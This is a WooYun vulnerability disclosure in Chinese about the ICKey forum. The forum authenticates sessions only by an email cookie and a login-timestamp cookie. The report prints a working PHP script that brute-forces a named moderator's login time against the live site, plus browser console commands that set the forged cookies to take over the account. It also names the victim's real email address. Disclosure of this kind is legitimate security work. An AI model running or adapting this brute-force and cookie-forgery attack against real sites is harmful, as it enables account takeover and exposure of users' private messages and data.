WooYun.org

ICKey电子工程师社区 http://bbs.ickey.cn/
社区登陆的页面:
http://bbs.ickey.cn/user-login.html
在进行登陆之后, 服务器会下发两个Cookie,
一个是 ts_email 对应 用户的账号,
一个是 ts_uptime 对应的 用户登陆时的服务器时间(精确到秒),见下图:

后经过检测发现, 后端的程序,检测用户登陆只根据 ts_email和ts_uptime就可以决定.
而且既然知道这个值是个时间,那么是否可以大胆猜测,如果要登入另一个人的账号,是不是只要猜对这个账号的登陆时间就可以以这个账号的身份登陆进去呢.
下面是检测过程(检测时所使用的账号为论坛里某版主的账号):
首先找到一个可以检测用户登陆状态的页面,而且就是可以以最小的费力度来完成的.
经过多次检测, 最终以 http://bbs.ickey.cn/user-login-ts-do.html 这个页面下手.
当Cookie有效时, 这个页面会返回 302 让你跳到首页去, 如果是无效的, 那么会返回 200, 显示登陆的界面, 所以根据这个特性, 编写如下PHP脚本,
脚本采用HEAD方式, 并把Cookie带上, 对这个页面进行猜解.
脚本如下:

<?php
function send($time){
	$opts = array('http' =>
		array(
			'method'  => 'HEAD',
			'header'  => 'Cookie: ts_email=shenja%40galaxychn.com; ts_uptime='. $time,
		)
	);
	@file_get_contents('http://bbs.ickey.cn/user-login-ts-do.html', false, stream_context_create($opts));
	if(isset($http_response_header) && count($http_response_header) > 0){//如果上面的请求没有出错,则检测结果
		return strpos($http_response_header[0], '302') !== FALSE;
	}
	return send($time);//有出错,则重试当前值
}
$I = 1410637162;//猜测用户登陆的时间的开始值
while(true){
	if(send($I)){
		echo "\n\n\n",'Find Key: ', $I;
		break;
	}
	$t = date('Y-m-d H:i:s', $I);
	echo "\r$I\t$t";
	$I++;
}

PS: 上面代码中的 ＼ 被 乌云转换成 ＼＼ 了(在预览的时候看到的),所以在使用的时候把＼＼写成＼,如果真实情况下没看到请忽略本行.
在脚本跑了一晚上之后, 得到用户的登陆时间为: 1411608926 (2014-09-25 09:35:25)
然后拿这个值,去进行测试,发现已经失效了, 我测试的时间为 2014-09-26 09:10 左右,
猜想,可能是这个用户今天又登陆了, 所以挂上脚本以这个时间点,继续往后跑, 结果没跑一会, 结果就出来了(见下图):

接下来就是打开Chrome的隐私模式(没有之前访问的Cookie),以未登陆的状态访问 bbs.ickey.cn
然后打开控制台,执行以下代码:

document.cookie='ts_email=shenja%40galaxychn.com; path=/';
document.cookie='ts_uptime=1411693828; path=/';

然后F5一下,

个人信息:

我的私信:

编辑自己发的帖子:

版主交流区: